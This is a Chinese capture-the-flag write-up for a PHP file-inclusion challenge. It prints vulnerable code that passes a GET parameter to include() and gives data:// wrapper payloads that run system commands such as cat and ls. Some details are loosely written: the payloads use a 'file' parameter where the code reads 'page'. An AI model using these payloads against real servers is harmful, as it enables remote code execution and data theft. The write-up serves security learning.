功防世界 Web_php_include

时间:2025-02-04 22:14:37
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

代码审计

show_source(__FILE__);: //输出当前文件的源代码

echo $_GET['hello'];: //直接输出 $_GET['hello'] 参数的值

$page=$_GET['page'];:// URL 的 page GET 参数中取得值,并将其赋值给 $page 变量

while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); }: 
//尝试移除 $page 参数中的 php:// 字符串

include($page);: //将用户提供的 $page 作为文件路径传递给 include() 函数

这道题方法有很多,我使用的是文件包含漏洞里的data协议

通过 PHP 的文件包含漏洞,可以让 data 伪协议嵌入系统命令并执行

使用:?file=data://text/plain,xxxx(要执行的php代码)
?file=data://text/plain;base64,xxxx(base64编码后的数据)

原理

例如这道题:data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

这会将 <?php system('ls'); ?> 当作 PHP 代码执行,并列出当前目录中的所有文件。如果目录中有 flag 文件,我们就能知道它的名称

编码和不编码的问题

有些服务器可能不直接执行原始的 PHP 代码,需要将数据进行 URL 编码

先爆出文件名,然后再执行查看文件的php代码

然后这道题它竟然把flag藏在源码中。所以我们平常也要有经常查看源码的习惯